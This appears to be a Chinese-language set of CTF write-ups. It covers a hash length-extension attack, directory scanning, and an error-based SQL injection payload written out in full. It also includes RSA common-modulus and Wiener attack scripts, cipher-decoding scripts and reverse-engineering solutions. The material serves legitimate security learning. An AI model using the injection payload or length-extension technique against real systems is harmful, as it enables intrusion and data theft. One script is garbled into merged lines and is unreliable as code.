打开响应消息头,发现路径/NOTHERE
访问即得flag
看源码得到 index.txt
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
$secret = "xxxxxxxxxxxxxxxxxxxxxxxxxxx"; // guess it length :)
$username = $_POST["username"];
$password = $_POST["password"];
$cookie = $_COOKIE['albert'];
if (!empty($_COOKIE['albert'])) {
if (urldecode($username) === "admin" && urldecode($password) !=="admin") {
if ($_COOKIE['albert'] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! here is your flag.\n";
die ("The flag is ". $flag);
}
else {
die ("Cookie Not Correct");
}
}
else {
die ("Go AWAY");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
?>
由题易知是hash长度扩展攻击
在kali下运用hashpump进行攻击一开始不知道长度,利用爆破可知长度为26位
>> hashpump
Input Signature: 968c31570a2a3afa076112687ecca974
Input Data: admin
Input Key Length: 26
Input Data to Add: pcat
这题直接运用kali DirBuster
扫描目录扫到了
/x/index.php
/.php
/x/register.php
/x/connect.php
/x/login.php
/flag.php
最终答案在/flag.php中
一道简单的报错注入题
利用burp截包修改id
最后payload为
id=1%27 and extractvalue(1,concat(0x5c,(select password from albertchang),0x5c,1))%23
或者是
id=-1%27 or extractvalue(1,concat(0x5c,(select password from albertchang),0x5c,1))%23
出来后
根据提示需要post flag = Th3_Pas3W0rd_i3_Albertchang
最后得到flag
拿到这题时直接分析,网页源码
发现了隐藏的HTML文档
知道了这题的知识点
流密码其实就是逐比特异或
在隐藏部分发现异或过后的flag
flag 的长度大于500
所以构造提交参数大于500和message逐比特异或
写脚本如下
这里有个坑,我用requests方法请求网页,获取不了隐藏的HTML内容
所以只能使用httplib方法
# yz:2016.12.25
# -*- coding:utf-8 -*-
import string
import httplib,urllib
data = urllib.urlencode({'arg':'11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111'});
conn = httplib.HTTPConnection("45.32.58.123:12223");
headers = {"Content-Type":"application/x-www-form-urlencoded",
"Connection":"Keep-Alive","Referer":"http://45.32.58.123:12223/"};
conn.request(method="POST",url="/main.php",body=data,headers=headers);
s = conn.getresponse();
content = str(s.read())
Message = content[content.index("Message:")+9:content.index("
")] s = '' #转成01比特 for i in Flag: temp = ord(i) temp = bin(temp) temp = str(temp)[2:] if len(temp) < 8: temp = '0'*(8-len(temp))+temp s += temp Flag = int(s,2) src = 200686490938213618932925030686723900966346071385575706818931139925151927414142413276833387391430903367465157760813819133574082739102368183356464973743987837722948595492712901641873403594450204695713629139533103392519371071099952645246840782481900957871935637359154437252913405444179654300427180044691385965990823568106696476515287748546363867017174091051797450964111012257685851865814304288305868868796070362487761893449386893361922901844324634350334616783957894220005538964792468979405328145100453460098854853839989027847783206845004095945185162744506591411155318233223679027298329085177274095914773286471049161702613799175486411492003372288722716950913877957802694948679785419083224812096387329082981115878996013259272222472356069166820222490810121435442820722489119884073056358155724651716232802987659573867435059545130785856458655309902770151770043405778785036718566031651260115600041084237592155873140867644089767487877289411629787419400386757597222832981129288874883921314078446307643819572105712219875309974530695306897012252757579812647497998317030864635355185457048473443750962962325959236879327971895179877812488472241671023567097665713934032193125740463764283516105833757192335092325954137896621052635084041994822566883633L end = Flag^Message^src s = str(hex(end))[2:][:-1] string = '' for i in range(0,len(s),2): string += chr(int(s[i:i+2],16)) print string conn.close();
最后得到
s='UAUSAB1QUFBQUFAbfQ=='
def decode(s,k):
r=s.decode('base64')
l=''
assert len(k)==1
for i in r:
l = l + chr(ord(i)^ord(k))
return l[:-1]
print decode(s,'f')
栅栏密码
import re
s="F e canece odouarld{iarswsitt o N fsseo zvgiyeipioantehi t ancheocm gaous oganwiakgaa ,absntns l rd ic p+s notei. aimo ttejtntlca,lado d gi bhh.ooiiao in nTeghlseee y gvnrgicdt hcrtlle rIoehimern hPire ianfituntti e sterseaoov ln sd ymyawho o etfnesagc o.aethadEcm ssem adtff6a odamlocbh aeimah l6rAsoyaamaeoowrsneyeba6smew,nmemapfhe j b ag}"
l = len(s)
child = []
for i in range(1,l):
if l%i == 0:
child.append(i)
for j in child:
s1=''
k = str(j)
r = re.findall('[^~]{'+k+'}',s)
for i in range(0,j):
for j in r:
s1 = s1 + j[i]
if 'flag' in s1:
print s1
break
BH=CWG=EO=IEI=;DEDEDEY
观察可得是凯撒密码
s = 'BH=CWG=EO=IEI=;DEDEDEY'
l = len(s)
for j in range(25,50):
d = ''
for t in s:
d = d + chr(ord(t)+j)
if 'flag' in d:
print d
在bibi的游戏人生里找
n1=0x18f60afa6b9938df69338805ae7fbd5652da3ac8fa5b7b65e4755149ba3f80d071fe8845fa20ea3e57e21fb2f630e47e4886de35c51d1487c170a59141f833c3aaea62c539e20664dbfa75f1b2d56ed4dbec991e5bf3306931bfda79b1dd8466f808af159b44be042499d423110ab9cfd595e370029862e2e686ed2a27fb6b459c4fddc0ebd4f112e0f3769524412e7128eb04b02de421df5a0e5b22d2c40acf1727aa9093160bf6dbd862ac136a805a4e9c760c54d28ac5bf21d509d94e9e437e2e38a13664ec104dadc66f8c21b7b82e3e3570d27326e13df07dd72b6847f8e53aadeafa54cc879cfa2ae3b8028c39df36b097ba65688abadb78a06c16f393L
n2=0x18f60afa6b9938df69338805ae7fbd5652da3ac8fa5b7b65e4755149ba3f80d071fe8845fa20ea3e57e21fb2f630e47e4886de35c51d1487c170a59141f833c3aaea62c539e20664dbfa75f1b2d56ed4dbec991e5bf3306931bfda79b1dd8466f808af159b44be042499d423110ab9cfd595e370029862e2e686ed2a27fb6b459c4fddc0ebd4f112e0f3769524412e7128eb04b02de421df5a0e5b22d2c40acf1727aa9093160bf6dbd862ac136a805a4e9c760c54d28ac5bf21d509d94e9e437e2e38a13664ec104dadc66f8c21b7b82e3e3570d27326e13df07dd72b6847f8e53aadeafa54cc879cfa2ae3b8028c39df36b097ba65688abadb78a06c16f393L
e1=0x17e1
e2=0x43a5
c1=0xb6e66aa0d4d5ad1460482f45aab87e80a99c1ff3af605fd9cea82d76d464272f3dd2e1797e3fede64cffcd54b2a7a5e21f45574783f62266cebf3cdb9764c6c04b0b30b5d065d5f6142d498506ea1f6449f428253d4d76bd96778d5f58abf313370b980dcb90daf882c5539ac3df81a431bc2c0e0911ecbe5195d94312218b3854ee14f13bd00c81d7ff11c06a9e112940b7377c20e53738a2ebb77b0534d8d9e481e60e9c87693bd9e1fd1e569083479ff8f53e42337a2b799c2325a7e2588fb046cf228d01d8596e7af4570a3cb0635d2524d234e3993d76b7e60f1c478ba45891de5cc0a1fec116f7c0dd9be7aa54226edf0196e37856afca32c69d790e1L
c2=0x9bcbfea3c3130364bbcf352b7810df031293949ed147919dec3ecfdd48f77e9486ae811d95f8c79eb477f4424d475dc611536343c7e21c427e18593aae37982323f2c0f4e840fbf89b31edc8f79ad7f6511ee0e5605cfbba7ada7d8777e81ec0ac122e0ad5108e97fafc0cd31ed8c83f3e761b92bdbea1144b0c06c5ca43a7b4e9e0a2b15ee12509235c5695be54d9fd0725ac80abbf0f5e8f43539da3ce9464020099e031d8bca899f11638169196ac72aeaeb90dab851d801cf93044cc00dd94d93c8963201b26788a7c42ce45c496c0a597ac53cd55c60b8f38f3f7d1f8ecc2e4e40ba6fe0c6e605ebbfc9aa3da5ab810c783c1d9957bb5d00a89ab1bbdeL
发现n1与n2相等,故使用共模攻击
#coding=utf-8
import sys;
sys.setrecursionlimit(100000);
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def main():
n = int(raw_input("input n:"))
c1 = int(raw_input("input c1:"))
c2 = int(raw_input("input c2:"))
e1 = int(raw_input("input e1:"))
e2 = int(raw_input("input e2:"))
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
# 求模反元素
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m = (c1**s1)*(c2**s2)%n
print m
if __name__ == '__main__':
main()
最后得到明文
2511413510842060413510067286707584738156534665355713590653
转为16进制,再转ascii得到flag
flag{rsa_is_goodd112345}
低解密指数攻击
直接利用GitHub上的代码
'''
Created on Dec 14, 2011
@author: pablocelayes
'''
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
def hack_RSA(e,n):
'''
Finds d knowing (e,n)
applying the Wiener continued fraction attack
'''
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k,d) in convergents:
#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = Arithmetic.is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("Hacked!")
return d
def test_hack_RSA():
print("Testing Wiener Attack")
times = 5
d=1
e=235308230249427956073994778236213308201165228968967264823632398966978083858618015310724273760982061608902488436041676909915097228896544054764485576608147425983433627672556840438360922524333914861841915302324033903747815478440207839231405164459309430488083417021299863448530761603691583119435411334929236989305080703733969737477059347874381118819315342999662421300865938367414646348114114523518559518198427990964401454548211551305162678178910564008966603832884326159914009915068561450603480793388907172483641086337688420637151051921455148790521653521635779290202539763111269020386581967559996128236288594127596931111L
n=990023173701890142960417396557829467604818405521894936859951202214773485865832785292323872121243887697290422045990013422607876480641270661367864382389893789596078312082027665553855270696451019054919069134732452191977525630655976091851072534780363846681322224621650105419018181198428165007342791192003551280877541234686022585373169611329463075555962420262841398957747472053420414997254472168650615854344763306064291593967460854817443906609759558144854063757076283269500492727802851281783673232830692457911612959175538769194685797000335876443248126827447575107633034183744580751790001353796972802669451070935734931493L
print("(e,n) is (", e, ", ", n, ")")
hacked_d = hack_RSA(e, n)
print("d = ", d, ", hacked_d = ", hacked_d)
print("-------------------------")
times -= 1
if __name__ == "__main__":
#test_is_perfect_square()
#print("-------------------------")
test_hack_RSA()
解出
d = 30011L
n = 990023173701890142960417396557829467604818405521894936859951202214773485865832785292323872121243887697290422045990013422607876480641270661367864382389893789596078312082027665553855270696451019054919069134732452191977525630655976091851072534780363846681322224621650105419018181198428165007342791192003551280877541234686022585373169611329463075555962420262841398957747472053420414997254472168650615854344763306064291593967460854817443906609759558144854063757076283269500492727802851281783673232830692457911612959175538769194685797000335876443248126827447575107633034183744580751790001353796972802669451070935734931493L
c = 788476757386221543537703608890186546442886644502803697518028267920600460220013483242506024987780673274894640972913419348131638674650297913257698380629030789425241326400460779957736137653911242371819455834503315030302866040645836290957691445959653938430879900694828439435699643144568320527205094071390940553388594203187022623769818515793107513956737821245415004711757450202148161254040561612359947403387404625171790678861784947278421483221298384341596583699883571547913038896065048203584687131767988397347080214823075357248539577208665545930392234612492615041261379339566841377463503145318178415053741856403946928895L
m = c**d % n
print m
下载bftools
C:\Users\YZ>C:\Users\YZ\Desktop\bftools\bftools\bftools.exe decode braincopter C:\Users\YZ\Desktop\D0ge.jpg -o -out.bf
C:\Users\YZ>C:\Users\YZ\Desktop\bftools\bftools\bftools.exe run -out.bf
GYYWIY3UMZ5UQML6IIYHSLCXMVWEGMDNMUWVI3ZNJAZVEZL5
base32解码得到flag
下面为源代码,分析起来比较简单,但是坑比较多。
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long
import string
import random
def pen(msg,k):
myl=string.printable[0:62]+"+/"
nell=[""]*64
for i in range(64):
nell[(i+k)%64]=myl[i] #copy myl to nell
nel="".join(nell)
msg+="/x00"*(len(msg)%4)
bs=""
for i in msg:
bs+="0"*(8-len(bin(ord(i))[2:]))+bin(ord(i))[2:]
print bs
c=""
for i in range(0,len(bs),6):
c+=nell[int(bs[i:i+6],2)]
return c
def backdoor(p,k):
q2=getPrime(1024)
n2=p*q2
print "q2",q2
print "n2",n2
return n2^(k%64)
def main():
flag=open("flag","r").read().strip()
m=bytes_to_long(flag)
print "m",m
p=getPrime(1024)
print "p",p
q=getPrime(1024)
print "q", q
n=p*q
print "n",n
s=""
s+=hex(n)+"\n"
e=65537
c=pow(m,e,n)
print "c",c
cipher=long_to_bytes(c)
k=random.randint(0,0xffffffffff)#get assume len random
print "k",k
s+=pen(cipher,k)+"\n"
s+=hex(backdoor(p,k))
open("info","w").write(s)
if __name__ == '__main__':
main()
下面是我写的解密脚本
# encoding:utf-8
from libnum import gcd,invmod
from Crypto.Util.number import bytes_to_long
import string
n=0x74fa9956e470bfa8501b4ff98ce6687ba37e2b7ce5592ff61c96379c1df04f2af91ab7b9da4935dc1a9860b203e0012bd7855845ad51d28b221d3eeb5d841bd65247ab39aab7635d3767e439e930127c20b6dc2bbf526de67d1f2cbbe798c031665dbb033a07247966b0f9988aac0d7ff7736d6cd39d35f74a88956c9b8d1c7b4177195ff50bab7e9af211c9e09c7b6345733fb41380c678bc1d0b80f21eb80d3bb2338f2da692bb588a853eea2bfd9091d31e7d14aa504f4073a1afb819e8edc336755e29ca11852d8efc0bd8f1d454ae4a698fd18e1edaa8649a6077fd3a4638b6aafbe1eb37a78aff52e8a056c92ddf4ed1f3cbeab89748b95ef09f70d1d7L
c='O7P6yC21fCJYE8NbvkNnmxQihBUYIBpHz606MZeUZW14C0SA8CFcm+RaOTTftwJyEhlW7x1KeIG7ZGsd0HeRhcb3/wJIkY7dPmywHxv+78tlHSUtxEsS4dT/fY3Hxj1hrP75ZjQ24r3wM0PsY79G9MIDvVqg3p2NybP0NYxXhfZGJHNELlubpcGGW/YtZIGYX8QXtOZZvbVdQBL0xBrBxzZNTUGIJjCUY5+RxuAITsbDVwTi1QX2SSv28p6+vgmpkul/rL9pXQk0M6CKKI+SWJjFaKrtSlYho5o/tGSISi74taq0r4Jef/zlctbYg6oy4qRUp4Qs+l5RYokPKaYIaN'
backdoor_p=0x76d72e0b530ed5c3cf09273bb1e452f913ef648420a003d9f08ee8bdbc96f6bf999a3f51f08fa3c9bb2434374f41a201c7d5fc6ffec50c3bc32c84a6c21dff5f7a567558e3b82aef4c4c301c2c3d7c6657fb3135a032302c772842956582224dcef66f8c812c57f6902adc0edb97d80d8feffb2d06951741a31c3a992bf5e79f430b02300a39834c97a683c665566dadaaff771fd5278ce1001cd9cde888c319c909d15b0ce3d6fa871f674541cb2a78c6edf058335cbbf1cfc54ecf441da7baaf46d6903eacb8fcfa32602dec3a4aa50e60cc51f49042bb4681bbf0f16ec6fd0241ddf697cf224de602aeb5276c02a27f39a4853cd044cdee6dc216ed497b1bL
k = ''
q = ''
for i in range(64):
p = gcd(backdoor_p^i,n)
if p != 1:
k = i
break
#print p
q = n/p
f_n = (p-1)*(q-1)
e=65537
d=invmod(e,f_n)
print d
myl=string.printable[0:62]+"+/"
nell=[""]*64
for i in range(64):
nell[(i+k)%64]=myl[i] #copy myl to nell
nel="".join(nell)
bs = ''
for i in c[:-1]:
d1 = nell.index(i)
bs += '0'*(6-len(bin(d1)[2:]))+bin(d1)[2:]
bs += bin(nell.index(c[-1:]))[2:]
msg = ''
for i in range(0,len(bs),8):
msg += chr(int(bs[i:i+8],2))
msg = bytes_to_long(msg)
print msg
#print string
print hex(pow(msg,d,n))[2:-1].decode('hex')
这一题逻辑上比较简单
Hint1: username:goodgoodstudydaydayup
拖进IDA中直接F5
if ( v15 >= v16 )
break;
v44 = v19[i];
v43 = v20[i];
v21[i] = v43 ^ v44;
v9 = (unsigned int)v21[i];
if ( (_DWORD)v9 != *(&v22 + i) )
{
LODWORD(v13) = std::operator<<::char_traits> (*(_QWORD *)&argc, argv, "key error", refptr__ZSt4cout);
std::ostream::operator<<(
*(_QWORD *)&argc,
argv,
refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_,
v13);
system(*(_QWORD *)&argc, argv, v14, "pause");
return 0;
}
}
LODWORD(v17) = std::operator<<::char_traits> (
*(_QWORD *)&argc,
argv,
"Yes!input is flag",
refptr__ZSt4cout);
分析得到:
只需将代码中的数与username的值异或即可
s = 'goodgoodstudydaydayup'
a = [86, 30, 24, 1, 21, 90, 27, 29, 6, 29, 76, 84, 22, 20, 85, 28, 22, 21, 30,29, 23]
l = ''
for i in range(0,len(s)):
l = l + chr(a[i]^ord(s[i]))
print l
直接用jeb反汇编
找到m字符串
找到其中的12~24位即得flag
IDA进去之后
四关
1.输入素数
直接看代码分析出为2
2.计算数字
用c语言代码计算得出为654321
3.计算字符串
d = ''
s = 'MerryChristmas'
a = [1,2,3,4,5,6,1,2,3,4,5,6,1,2]
for i in range(0,14):
d = d + chr(ord(s[i])-a[i])
print d
4.计算flag的值
s = 'Lcont=gpfoog`q'
flag = 654323
tmp = 0x1E240
mod = 0x3B9ACA07
#flag = (flag + (signed int)v5 * tmp) % mod;
for i in range(0,14):
flag = (flag + ord(s[i]) * tmp) % mod
print flag
直接输入flag的值,会给出flag
为linux下程序,先拖入IDA简单看一下发现代码比较复杂,判断条件,跳转都比较多,处理字符串的主要程序在:
while ( 1 )
{
v5 = (*v17)[1];
v13 = *(_DWORD *)v20;
v6 = strlen(v5);
if ( v13 >= v6 )
break;
if ( !(((unsigned __int8)((y < 10) ^ ((((_BYTE)x - 1) * (_BYTE)x & 1) == 0)) | (y < 10
&& (((_BYTE)x - 1) * (_BYTE)x & 1) == 0)) & 1) )
goto LABEL_24;
while ( 1 )
{
s1[*(_DWORD *)v20] = (*(_BYTE *)v20 & 0x89 | ~*(_BYTE *)v20 & 0x76) ^ ((*v17)[1][*(_DWORD *)v20] & 0x89 | ~(*v17)[1][*(_DWORD *)v20] & 0x76);
if ( ((unsigned __int8)((y < 10) ^ ((((_BYTE)x - 1) * (_BYTE)x & 1) == 0)) | (y < 10
&& (((_BYTE)x - 1) * (_BYTE)x & 1) == 0)) & 1 )
break;
LABEL_24:
s1[*(_DWORD *)v20] = (*(_BYTE *)v20 & 0x38 | ~*(_BYTE *)v20 & 0xC7) ^ ((*v17)[1][*(_DWORD *)v20] & 0x38 | ~(*v17)[1][*(_DWORD *)v20] & 0xC7);
}
*(_DWORD *)v20 = *(_DWORD *)v20 - 403331085 + 403331086;
}
v7 = strlen((*v17)[1]);
v8 = s1;
s1[v7] = 0;
v9 = *v16;
if ( !strcmp(v8, *v16) )
HIDWORD(v12) = printf("yes\n", v9, v12);
do
v10 = (((_BYTE)x - 1) * (_BYTE)x & 1) == 0;
while ( !(((y < 10 && v10) | (unsigned __int8)((y < 10) ^ v10)) & 1) );
*v19 = 0;
return *v19;
}
其中:
if ( !strcmp(v8, *v16) )
HIDWORD(v12) = printf("yes\n", v9, v12);
这里是将输入的字符串经过一定的处理然后与程序中的一段内存中的字符进行比较,匹配则输出yes
内存中的字符串不是动态加载的,可以看到:
注意要看ascii码,因为有些字符是不可见的
处理输入的字符串的可能性有两种,分别是
while ( 1 )
{
s1[*(_DWORD *)v20] = (*(_BYTE *)v20 & 0x89 | ~*(_BYTE *)v20 & 0x76) ^ ((*v17)[1][*(_DWORD *)v20] & 0x89 | ~(*v17)[1][*(_DWORD *)v20] & 0x76);
if ( ((unsigned __int8)((y < 10) ^ ((((_BYTE)x - 1) * (_BYTE)x & 1) == 0)) | (y < 10
&& (((_BYTE)x - 1) * (_BYTE)x & 1) == 0)) & 1 )
break;
LABEL_24:
s1[*(_DWORD *)v20] = (*(_BYTE *)v20 & 0x38 | ~*(_BYTE *)v20 & 0xC7) ^ ((*v17)[1][*(_DWORD *)v20] & 0x38 | ~(*v17)[1][*(_DWORD *)v20] & 0xC7);
}
但是具体用哪种方式,要根据if语句判断,if判断的具体结果没法直接看到,因为x,y是未知的,要根据动态调试时的具体值判断。
这里发现if判断恰好相反,分析可知起到了给v20赋值的作用
还有一处比较重要:
if ( strlen((*v17)[1]) != 32 )
这里说明附加的参数是32位,否则就会退出了
使用gdb调试:
- 注意要附加32位的参数
- 注意提前设置断点,否则程序没有停止,会直接结束。
b main
首先查看未知的x,y的值
p x
p y
在继续执行的过程中,发现x,y也一直为0
根据各个判断条件的位置,设置断点跟踪跳转情况,发现各个判断条件的结果是固定的,并且每次执行的字符串处理函数都是第一个:
分析该语句
s1[*(_DWORD *)v20] = (*(_BYTE *)v20 & 0x89 | ~*(_BYTE *)v20 & 0x76) ^ ((*v17)[1][*(_DWORD *)v20] & 0x89 | ~(*v17)[1][*(_DWORD *)v20] & 0x76);
主要是对字符(s)及其对应位置数字(i)的一些操作,
s1[i] = (i&0x89|(~i)&0x76)^(s[i]&0x89|s[i]&0x89|(~s[i])&0x76)
发现他是可逆的运算,那么就反过来解密一下就能出来flag
注意逻辑运算优先级,同时注意到0x89与0x76的二进制码是互补的
进行该操作后,字符会与之前找到的程序存储的一段字符相匹配,逆向算法得到解密代码:
s = [0x36,0x62,0x76,0x65,0x7F,0x6D,0x63,0x6B,0x64,0x66,0x55,0x7C,0x63,0x7F,0x62,0x6B,0x4F,0x65,0x7A,0x76,0x4B,0x7A,0x74,0x71,0x79,0x6A,0x79,0x7A,0x68,0x72,0x6C,0x62]
s1 = []
for i in range(0,32):
s1.append(chr((i&0x89|(~i)&0x76)^(s[i]&0x89|s[i]&0x89|(~s[i])&0x76)))
print s1
IDA F5反编译main函数发现有一个encrypto加密函数,其关键代码如下:
LODWORD(v16) = std::string::operator[](a2, 0LL);
while ( *v16 )
{
LODWORD(v2) = std::string::operator[](a2, v19);
v3 = *v2;
LODWORD(v4) = std::vector<int,std::allocator<int>>::operator[](&primos, v19);
v18 = v3 + *v4;
LODWORD(v5) = std::string::operator[](a2, v19);
if ( (unsigned __int8)is_lower(*v5) )
{
v6 = 122;
}
else
{
LODWORD(v7) = std::string::operator[](a2, v19);
if ( (unsigned __int8)is_upper(*v7) )
{
v6 = 90;
}
else
{
LODWORD(v8) = std::string::operator[](a2, v19);
v6 = *v8;
}
}
while ( v18 > v6 )
v18 -= 26;
LODWORD(v9) = std::string::operator[](a2, v19);
v10 = v9;
LODWORD(v11) = std::string::operator[](a2, v19);
if ( *v11 == 123 )
{
v14 = 125;
}
else
{
LODWORD(v12) = std::string::operator[](a2, v19);
if ( *v12 == 125 )
{
v14 = 123;
}
else
{
LODWORD(v13) = std::string::operator[](a2, v19);
if ( (unsigned __int8)is_alphabet(*v13) )
{
v14 = v18;
}
else
{
LODWORD(v15) = std::string::operator[](a2, v19);
v14 = *v15;
}
}
}
*v10 = v14;
LODWORD(v16) = std::string::operator[](a2, ++v19);
}
这个代码有一个关键位置在于 *v4值不好确定,即primos数组的值实在运行后才复制过去的,我们很难确定,但是发现程序有一个init()函数
其内容为:
__int64 initial(void)
{
__int64 result; // rax@10
unsigned int j; // [sp+4h] [bp-Ch]@4
unsigned int k; // [sp+8h] [bp-8h]@6
int i; // [sp+Ch] [bp-4h]@1
for ( i = 2; i <= 1023; ++i )
ehprimo[(signed __int64)i] = (i & 1) != 0;
for ( j = 3; ; j += 2 )
{
result = j;
if ( (signed int)j > 1023 )
break;
if ( ehprimo[(signed __int64)(signed int)j] )
{
std::vector<int,std::allocator<int>>::push_back(&primos, &j);
for ( k = j * j; (signed int)k <= 1023; k += j )
ehprimo[(signed __int64)(signed int)k] = 0;
}
}
return result;
}
简而言之就是在该内存上打出了一个素数表,我是通过gdb动态调试到encrypto函数后查看内存找到了该数组的值(pass:进入encrypto()说明init()已经生成完毕)
发现了地址为0x6160e0,素数表
写出自己的exploit:
# coding=utf8
def prime():
p = []
flag = 0
j = 3
while True:
for i in range(2,j):
if j%i == 0:
break
else:
#print j
flag += 1
p.append(j)
j += 1
if flag == 33:
break
return p
s = "LNLNGW}o3A3g5Z_1b_Xv5d_WbzgGnbG{"
p = prime()
ds = ""
for i in range(0,32):
if s[i] == "{":
ds += "}"
elif s[i] == "}":
ds += "{"
elif s[i] >= 'A' and s[i] <= 'Z' or s[i] >= 'a' and s[i] <= 'z':
lager = 0
lower = 0
if s[i] <= 'Z':#大写
lager = ord(s[i])-p[i]
while(lager < ord('A')):
lager += 26
ds += chr(lager)
else:
lower = ord(s[i])-p[i]
while(lower < ord('a')):
lower += 26
ds += chr(lower)
else:
ds += s[i]
print ds